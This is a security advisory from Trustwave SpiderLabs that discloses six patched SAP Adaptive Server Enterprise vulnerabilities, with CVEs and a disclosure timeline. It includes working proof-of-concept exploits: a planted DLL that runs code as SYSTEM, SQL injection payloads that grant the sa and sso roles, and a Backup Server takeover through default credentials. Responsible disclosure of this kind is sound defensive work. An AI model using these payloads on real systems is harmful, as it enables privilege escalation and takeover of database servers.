Trustwave SpiderLabs Security Advisory TWSL2020-002:
Multiple Vulnerabilities in SAP Adaptive Server Enterprise

Published: 06/03/2020
Version: 1.0

Vendor: SAP (www.sap.com)

Product description:
Relational database management system.

Finding 1: Adaptive Server Enterprise on Windows arbitrary code execution as NTAUTHORITY\SYSTEM 
via XP Server flaw (Security Note: 2915585)
Credit: Martin Rakhmanov of Trustwave 
Product: Adaptive Server Enterprise
Version affected: 15.7 SP 141 and earlier on Windows, 16.0 SP03 PL08 and earlier on Windows
CVE: CVE-2020-6243

Adaptive Server Enterprise on Windows allows any database users to launch XP
Server via the following query:

SERVERNAME_XP...dummy_esp s

No permission checks are done when the remote procedure dummy_esp doesn't exist:
Adaptive Server Enterprise simply spawns the XP Server which tries to load a
library with empty name under the %SYBASE%.

Given that on Windows installation any authenticated user can add files under
C:\SAP (default location), it is trivial to craft custom library and save it as
C:\SAP\.DLL - see example code below.


C:\>icacls C:\SAP
C:\SAP BUILTIN\Administrators:(I)(OI)(CI)(F)
       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
       BUILTIN\Users:(I)(OI)(CI)(RX)
       NT AUTHORITY\Authenticated Users:(I)(M)
       NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

Proof-of-concept code:

#include <windows.h>

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("whoami /all>C:\\SAP\\whoami.log");
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Compile (use x64 tools) and copy to %SYBASE%:

cl /c FakeESP.c
link /dll FakeESP.obj
copy FakeESP.dll C:\SAP\.DLL

Then connect as a regular database user and run the T-SQL command mentioned
above. Observe that the C:\SAP\whoami.log file is created and contains NT
AUTHORITY\SYSTEM since by default the XP Server on Windows runs under this
account.


Finding 2: Privilege escalation via SQL injection in global temporary tables
handling routine (Security Note: 2916927)
Credit: Martin Rakhmanov of Trustwave
Product: Adaptive Server Enterprise
Version affected: 16.0 SP03 PL08 and earlier
CVE: CVE-2020-6241

Unprivileged user can gain system administrator role via set of SQL commands
triggering global temporary table handing code.  Proof-of-concept SQL code
follows, execute as regular user 'james':

-- POC for privilege escalation from regular user to sa. Tested on SAP Adaptive
Server Enterprise 16.0 SP03 PL07.

USE tempdb
go

CREATE GLOBAL TEMPORARY TABLE [g add m int null grant role sa_role to james--] (id int)
go
INSERT INTO [g add m int null grant role sa_role to james--] VALUES (1337)
go
ALTER TABLE [g add m int null grant role sa_role to james--] SET TRANSFER TABLE ON
go

-- Observe the sa_role granted
sp_displayroles
go

Finding 3: Adaptive Server Enterprise server build logs contain cleartext
passwords (Security Note: 2917022)
Credit: Martin Rakhmanov of Trustwave 
Product: Adaptive Server Enterprise
Version affected: 16.0 SP03 PL08 and earlier on Linux/UNIX
CVE: CVE-2020-6250

After install there are some server build logs left under the
$SYBASE/$SYBASE_ASE/init/logs/ directory:

[sap@PAGANINI ~]$ ls -l $SYBASE/$SYBASE_ASE/init/logs/srvbuild0325.*
-rw-------. 1 sap sap 10587 Mar 25 12:22 /opt/sap/ASE-16_0/init/logs/srvbuild0325.005
...

Some of them contain cleartext passwords for various logins specified during
installation:

...
Wed Mar 25 12:22:05 2020: (SQL command) exec sp_addexternlogin loopback, sa, sa, 'TopSecretPassword'
...

...
do_configure_baldr = yes
baldr_management_password = TopSecretPassword
saptoolsdb_device_physical_name = /opt/sap/data/saptoolsdata.dat
...

Even though the logs are by default only readable by SAP account, any
vulnerability in accessing filesystem from the server will result in reading the
passwords, making hashing of sa password inside the master database useless for
example.

This issue does not affect Windows version of the server.

Finding 4: Default installation of SAP ASE 16 with Cockpit on Windows leaves
critical SQL Anywhere configuration file world readable (Security Note: 2917090)
Credit: Martin Rakhmanov of Trustwave 
Product: Adaptive Server Enterprise
Version affected: 16.0 SP03 PL08 and earlier
CVE: CVE-2020-6252

When SAP ASE 16 is deployed with Cockpit component (Full installation or
Custom), there is a small embedded database (SQL Anywhere) installed for
Cockpit.  Cockpit itself provides the capability to administer and monitor
supported SAP products.  On Windows systems, the SQL Anywhere database starts as
child process by the Cockpit4.0 Windows Service and executes under the
LocalSystem account.  One parameter used to start the SQL Anywhere database is
so called utility_db username and password passed via binary file, normally it
is:

C:\SAP\COCKPIT-4\services\SccSADataserver\utildb.cfg

The file is readable to all local users:

C:\SAP\COCKPIT-4\services\SccSADataserver\utildb.cfg BUILTIN\Administrators:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     BUILTIN\Users:(I)(RX)
                                                     NT AUTHORITY\Authenticated Users:(I)(M)

Successfully processed 1 files; Failed processing 0 files

This means anyone who can login to the computer (e.g. low-privileged user
connected via RDP) can grab it. Inside is encoded password for the DBA account
which could be easily decrypted by attaching a debugger to attacker-controlled
SQL Anywhere instance on another machine. Subsequently, the password can be used
to connect to the utility database and then issue statements like CREATE
ENCRYPTED FILE to overwrite any OS files and possibly cause code execution with
LocalSystem privileges.


Finding 5: Privilege escalation via SQL injection in DROP SERVICE handling code
(Security Note: 2917273)
Credit: Martin Rakhmanov of Trustwave 
Product: Adaptive Server Enterprise
Version affected: 15.7 SP141 and earlier, 16.0 SP03 PL08 and earlier
CVE: CVE-2020-6253

User database owners can execute arbitrary SQL code without permission checks
via SQL injection in the DROP SERVICE statement.  Proof-of-concept SQL code
follows, execute as regular user 'james':

-- Execute the following on attacker-controlled SAP ASE server inside the mydb
-- database for which login james is database owner AND where 'allow updates' is
-- true to allow sysattributes update 
-- This will produce database dump with necessary SQL payloads

USE mydb
go

create service mysvc1 type raw as select 'demo'
go

-- grant the sa_role
update sysattributes set comments = ''' insert into master..sysloginroles select suid, 0, 1, null from master..syslogins where name = ''james''--' where object = object_id('mysvc1')
go

create service mysvc2 type raw as select 'demo'
go

-- grant sso_role
update sysattributes set comments = ''' insert into master..sysloginroles select suid, 1, 1, null from master..syslogins where name = ''james''--' where object = object_id('mysvc2')
go

dump database mydb to 'mydb.dump'
go


-- Now load and online previously prepared database dump and trigger privilege
-- escalation on target SAP ASE: since james is the database owner, all statements
-- will work

load database mydb from 'mydb.dump'
go

online database mydb
go

use mydb
go

-- Examine current server roles granted
sp_displayroles
go

drop service mysvc1
go


drop service mysvc2
go

-- Validate that the attack worked
sp_displayroles
go


Finding 6: Arbitrary code execution via Backup Server flaws by database owners
(Security Note: 2917275)
Credit: Martin Rakhmanov of Trustwave 
Product: Adaptive Server Enterprise
Version affected: 16.0 SP03 PL04 and any PLs thereof
CVE: CVE-2020-6248

Database owners can run the dump database command to overwrite the Backup Server
configuration file:

dump database mydb to 'C:\SAP\ASESERVER_BS.cfg' with init
go

As a result, the configuration file will be replaced with default one on next
Backup Server restart since the server will not accept invalid configuration.

That means anyone can connect to the Backup Server with default credentials
which are username 'sa' and empty password:

C:\SAP\OCS-16_0\bin\isql.exe -S ASESERVER_BS -U sa

And then execute arbitrary code by replacing the path to sybmultbuf_binary:

SET sybmultbuf_binary C:\WINDOWS\notepad.exe
go

Next dump database command will launch the binary. On Windows systems this will
execute code as LOCALSYSTEM by default.

Remediation Steps:
Apply the latest vendor supplied patches.

Revision History:
02/26/2020 - Vulnerability with security note 2916927 disclosed to vendor
03/02/2020 - Vulnerability with security note 2917273 disclosed to vendor
03/04/2020 - Vulnerability with security note 2917090 disclosed to vendor
03/19/2020 - Vulnerability with security note 2917275 disclosed to vendor
03/25/2020 - Vulnerability with security note 2917022 disclosed to vendor
03/26/2020 - Vulnerability with security note 2915585 disclosed to vendor
05/12/2020 - Patch released by vendor
06/03/2020 - Advisory published

Remediation Steps:
Apply the latest vendor supplied patches.

References:
https://launchpad.support.sap.com/#/notes/2915585
https://launchpad.support.sap.com/#/notes/2916927
https://launchpad.support.sap.com/#/notes/2917022
https://launchpad.support.sap.com/#/notes/2917090
https://launchpad.support.sap.com/#/notes/2917273
https://launchpad.support.sap.com/#/notes/2917275

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.